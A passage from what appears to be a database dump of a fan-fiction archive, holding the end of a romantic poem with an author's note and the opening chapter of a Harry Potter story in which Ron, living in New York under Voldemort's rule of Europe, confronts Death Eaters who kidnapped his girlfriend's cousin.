style="text-align:center" align="center">I\nmet you during a train ride,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">To\ngo to the horizon,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">I\ntruly wish you were by my side,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Right\nnow, I&#8217;m here in trepidation,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">We\nstarted out as friends,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Ended\nup as lovers,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">You\nwere always there to lend a hand,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Sadly,\nI was always the misnomer,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">You&#8217;re\nmy misery,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">You\nwere my happiness,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">That&#8217;s\nall you had to be,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Now,\nyou extinguished my brightness,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">How\nfunny life is,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">one\nday, our love at the core,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">devouring\na kiss,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">And\nthe other, I could not hate you more,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">We\nwould sit by the moonlight,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Drinking\nglasses of wine,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Having\nan absurd fight,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">But\nas a tear shed, you would know my tine,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Love\nis frequent,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">And\nsoon <u>you</u> would learn to move on,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Funny,\nmine cant,&#8217;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">I\nknow that it will never be gone,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Words,\nwords , words,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">vulgar,\nromantic, sweet,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">all\nhe gave me were disaccords,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">but\nnot with him, I never did weep,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">So,\nnow , as I end this ramblings,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">I\nhave a short narration,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">For\na man or rather , a boy, who carries my feelings,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">If\nyou are reading this publication,</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&#8216;I\nlove you&#8217;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText2">A/N:\nThis may seem a bit wordy but I decided to make it that way since it is from\nHermione&#8217;s POV. Now, for the mushy part, this is from my diary (of course , I\nhad to change a lot) but the main idea is here. So, you are actually viewing a\nday in the life of Nurhani. </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 1, '\n\n\n\nReturn of the Lion\n\n&nbsp;\n\nE. C. R. Potter\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Summary: In the\nfuture, Voldemort has conquered all of Europe and has set his sights on the\nrest of the world.&nbsp; But there is a light\nof hope when Harry Potter returns after a two-year absence to challenge the Dark\nLord.&nbsp; H/H and R/OC.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;But if we\nhope for what we do not yet have, we wait for it patiently.&quot;</i></p>\n\n<i>Romans\n8:25</i>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\nChapter 1: The\nDark Times\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">The\nworld was facing dark times those days.&nbsp;\nAs far as muggles knew the world had suddenly been isolated from Europe\nand whatever had taken over that continent was slowly spreading into Africa and\nAsia.&nbsp; However, that was only part of\nthe truth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The entire truth\nwas known to the wizarding world.&nbsp;\nWithin just a few years of his rebirth, Voldemort had overthrown the\nministries of magic of Europe and set up his own order.&nbsp; An order where purebloods received all the\nprivileges and muggle-borns were degraded to slavery status in hundreds of\nlabor camps built throughout the continent.&nbsp;\nDark creatures wandered around the lands freely terrorizing anyone who\nwas in their path.&nbsp; Muggles who failed\nto flee to foreign lands were carted into extermination camps where misery and\ndespair were prevalent.&nbsp; Those wizards\nwho were caught smuggling muggles out of Europe were executed.&nbsp; Many wizards fled from Europe.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As if that weren\'t\nenough, Voldemort\'s forces were slowly moving into Africa and Asia.&nbsp; He also had hundreds of agents working\nsecretly in Australia and the Americas.&nbsp;\nIndeed, the wizards and witches of those lands feared the day that would\ninevitably come when Voldemort would be the ultimate master of the world.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">New York city was\none of the few places that was generally unaffected by the terror in\nEurope.&nbsp; Yet, the atmosphere in the Big\nApple was one of high tension and fear of the darkness spreading across the\nworld.&nbsp; There were many people in the\ncity that knew the truth about the darkness that was spreading.&nbsp; One of those people was sitting in a bar\nnear Times Square looking depressed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">He was a young man\naround 18, and towered over most people at a tall 6 foot 2.&nbsp; He had brilliant fiery red hair and freckles\nall over his pale face.&nbsp; He was dressed\ncompletely in black as if he were in mourning.&nbsp;\nHe wore a black trench coat that went down to his ankles, black combat\nboots, black jeans, a black belt, and a black button up shirt with collar.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Give me\nanything with alcohol,&quot; he said in a clear southern British accent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I.D.,&quot;\nsaid the bartender, a gruff looking man in his mid forties.&nbsp; The red haired man pulled at a Columbia\nUniversity Student I.D.&nbsp; &quot;Sorry\npal, says here you\'re underage.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Bloody\nhell,&quot; cursed the red haired man.&nbsp;\nHe dropped his head on the counter just as the news flashed on the T.V.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Records\nconfirmed that some 300 people were massacred today in cities throughout Europe\nin Berlin, Paris, Prague, and Barcelona.&nbsp;\nIt is still not entirely clear how these civilians were killed but\nexperts believe that it has something to do with the phenomenon that has been\ndubbed as the \'darkness\'.&nbsp; In related\nnews, five people were killed in Jerusalem as the \'darkness\' seems to have\nstarted spread into Israel...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ronald\nWeasley! There you are!&quot;&nbsp; The red\nhaired man turned to see a young girl of his age enter the bar; her hands on\nher hips and stern look on her face.&nbsp;\nShe had wavy, waist length auburn hair, hazel eyes, and was wearing\nfashionable winter clothes of a college student.&nbsp; She was also quite tall at 5 foot 7.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hey\nMaggie,&quot; said Ron with a weak grin.&nbsp;\nRon Weasley and Margaret Chapel had been steadily dating for a few\nmonths since the beginning of their freshmen year at Columbia University.&nbsp; Margaret was a muggle, but she somehow knew\nthat there was more to what was happening in Europe than most muggles did.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Since the first\ntime they had met, the mysterious red haired British man whom was attending\nColumbia with a full scholarship had entranced Margaret.&nbsp; After steadily dating for months, the two\nhad completely fallen in love with each other.&nbsp;\nYet, Ron always seemed depressed, and Margaret guessed that it had to do\nwith &quot;darkness&quot; overtaking all of Europe, including England.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Come on Ron,\nyou don\'t belong here,&quot; said Margaret as she pulled Ron off of his stool.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;OK, OK.&nbsp; I\'m up Maggie,&quot; muttered Ron as\nMargaret pulled her out of the bar into the cold December night outside.&nbsp; It was Christmas Eve and the snow was\nfalling between the skyscrapers.&nbsp; Ron\nand Margaret started to make their way to the campus of Columbia University\nwhere they lived.&nbsp; They past many\nChristmas festivities along the way, which seemed to be making Ron more and\nmore depressed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I should be\nspending Christmas with my family,&quot; muttered Ron.&nbsp; &quot;I should be in England, with my\nparents, my brothers and my sister.&nbsp; But\nthat can never happen now.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron, your\nfamily\'s OK.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;HOW WOULD\nYOU KNOW THAT?!&quot; yelled Ron.&nbsp;\n&quot;Do you have any idea what its like in Britain now?!&nbsp; They\'re probably all dead!&nbsp; And I\'m living here in New York, hiding like\na coward!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret bit her\nlip and looked down.&nbsp; She knew what it\nwas like to lose a family; her parents who lived in Albany had died in a car\ncrash right before she had graduated from High School.&nbsp; Margaret didn\'t know entirely what had\nhappened to Ron before he came to New York.&nbsp;\nThe only things she knew about Ron was that he was the sixth of seven\nchildren and that he went to boarding school in Scotland.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Sorry,&quot;\nmuttered Ron as he cooled down.&nbsp;\n&quot;Its just that, I have no idea what\'s happening to them right\nnow.&quot;&nbsp; Margaret nodded in\nunderstanding.&nbsp; They started to make\ntheir way back again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Its not just\nmy family,&quot; said Ron suddenly.&nbsp;\n&quot;Did I ever tell you I had two best friends?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;No,&quot;\nsaid Margaret, interested in finding out another aspect about Ron\'s life.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The two\ngreatest friends I could ever ask for, we were inseparable.&nbsp; But then, one of my best friends disappeared\nwithout a trace, two years ago, right when this \'darkness\' was starting to take\nover.&nbsp; He disappeared, along with the\nheadmaster of our school.&nbsp; People lost\nhope after they were gone and many just gave up.&nbsp; I haven\'t heard from him in all that time.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret had no\nidea what Ron was talking about, but she continued to listen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;For a long\ntime, I was angry at him.&nbsp; I blamed him\nfor abandoning us when we needed him the most.&nbsp;\nBut my other best friend never gave up hope that he would return.&nbsp; And then, about eight months ago, I\nabandoned her and ran to New York.&nbsp; I\nbloody abandoned her!&quot;&nbsp; Margaret\nwas surprised when Ron stifled a sob.&nbsp;\n&quot;Who am I to accuse my best friend of abandoning us while I myself\nabandoned our other best friend?!&nbsp; I\'m\nnothing more than a bloody coward who fled when he was needed!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret placed a\nhand on Ron\'s shoulder.&nbsp; &quot;Ron,\nyou\'re not a coward.&nbsp; I know you as one\nof the bravest people I know and I love you because of that.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron made a weak\ngrin and kissed her.&nbsp; &quot;Thanks\nMaggie.&nbsp; I needed that.&nbsp; Oh, and I love you too.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Um, excuse\nme sir.&nbsp; Could you please come here for\na minute?&quot;&nbsp; Ron and Margaret looked\nup to see a short old man walk over to them, leaning on a cane.&nbsp; &quot;Ah, why don\'t I find your fortune for\nyou.&quot;&nbsp; Ron and Margaret ignored the\nman and continued walking down the sidewalk.&nbsp;\nSuddenly, the old man called out, &quot;You\'re a Hogwarts alum, are you\nnot?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret was\nsurprised when Ron stopped still in his tracks.&nbsp; Without a word, Ron turned around and walked up to the old\nman.&nbsp; &quot;All right, what do you have\nto say?&quot; demanded Ron, his brow furrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The old man\nchuckled.&nbsp; &quot;I\'m a seer, fellow\nwizard.&nbsp; I can make a prediction for\nyou.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron snorted.&nbsp; &quot;Oh, so seers can make predictions,&quot;\nhe said sarcastically.&nbsp; &quot;Sorry but\nI\'m skeptical about divination.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;At least\nhear me out,&quot; said the old man.&nbsp; He\nsuddenly went into a trance and in an eerie voice said:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;When the\ndark days have come and the serpent rules, there will be a day when light\nenters the world again.&nbsp; For the days of\nthe serpent are numbered and his doom shall be signaled by the return of the\nlion.&nbsp; And the days of darkness will be\nover.&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron simply stared\nat the old man before he went back to Margaret.&nbsp; &quot;What was that all about?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Nothing,&quot;\nsaid Ron.&nbsp; &quot;Lets just go back\nnow.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After a while, the\ntwo finally made it back to the apartment where Magaret lived with her Aunt and\n8-year old cousin, right next to Columbia\'s campus.&nbsp; Margaret\'s family had taken an immediate liking of Ron.&nbsp; So the two went up to her apartment.&nbsp; They started kissing passionately while in\nthe elevator but met with a horrifying sight when the doors opened on her\nfloor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The door to Margaret\'s\napartment was ripped off of its hinges and the living space itself looked like\na hurricane had flown through.&nbsp;\nEverything was either broken or damaged on the floor.&nbsp; Margaret gasped when she found her aunt\nunconscious on the kitchen floor, blood leaking out of her left temple.&nbsp; She started looking everywhere for her\ncousin Peter but was distressed to find that he was nowhere in the apartment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron!&quot;\nshe shouted.&nbsp; &quot;Peter\'s gone!&nbsp; Where could he...Ron?&nbsp; What\'s the matter?&quot;&nbsp; Ron was staring at the living room\nwall.&nbsp; His face was pale and his body\nwas shaking.&nbsp; Margaret slowly made it\nRon\'s side and gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Burnt into the\nwall was a livid skull with a serpent protruding from its mouth.&nbsp; &quot;The dark mark,&quot; muttered\nRon.&nbsp; Underneath the mark, burnt into\nthe wall were the following letters:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>Ronald Weasley,</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar"><i>If\nyou ever wish to see the muggle child alive again, come to the abandoned shoe\nwarehouse in south Harlem at midnight.&nbsp;\nIf you even think about alerting the authorities, the muggle will die.&nbsp; Surrender yourself to us, fugitive.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret glanced\nat one of the few clocks that survived and saw that it was 11:46 PM.&nbsp; A few tears rolled down her cheeks.&nbsp; &quot;Ron, what is this about?&quot; she\nasked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron suddenly\nscreamed.&nbsp; &quot;This is my fault!&quot;\nhe hollered. &nbsp;&quot;If I had never come\nhere, the Death Eaters wouldn\'t have taken Peter!&nbsp; It\'s me they want!&quot;&nbsp;\nHe calmed down and whispered.&nbsp;\n&quot;I should just surrender myself.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron, I don\'t\nknow what\'s going on but surrendering won\'t do anything!&quot; yelled Margaret\nangrily with tears falling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron looked up at\nher, a defeated look on his face.&nbsp;\n&quot;This is all my fault.&nbsp; If\nwe never...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I don\'t care\nwhose fault it is!&nbsp; All I care is that\nthose people have my cousin and I\'m going to fight them to get him back!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron stared at\nMargaret for a second.&nbsp; His face\nsuddenly took on a look of determination.&nbsp;\n&quot;You\'re right!&quot; he said.&nbsp;\n&quot;Lets go fight for Peter.&quot;&nbsp;\nHe grabbed Margaret\'s shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret suddenly\nfelt a tingly feeling when her apartment started to dissolve away.&nbsp; A second later, Margaret was shocked to find\nherself standing in the middle of the warehouse in Harlem!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Wha...how...how,&quot;\nshe stuttered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron was studying\nhis surroundings as he said, &quot;Its called apparation.&quot;&nbsp; He pulled out a wooden stick from his coat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What\'s\nthat?&quot; asked Margaret, feeling a little scared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;My\nwand,&quot; said Ron.&nbsp; He looked at\nMargaret and grinned.&nbsp; &quot;You see I\'m\na wizard.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;A\nwizard?&nbsp; As in magic and stuff?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That\'s\nright.&quot;</p>\n\n<p class="MsoNormal" 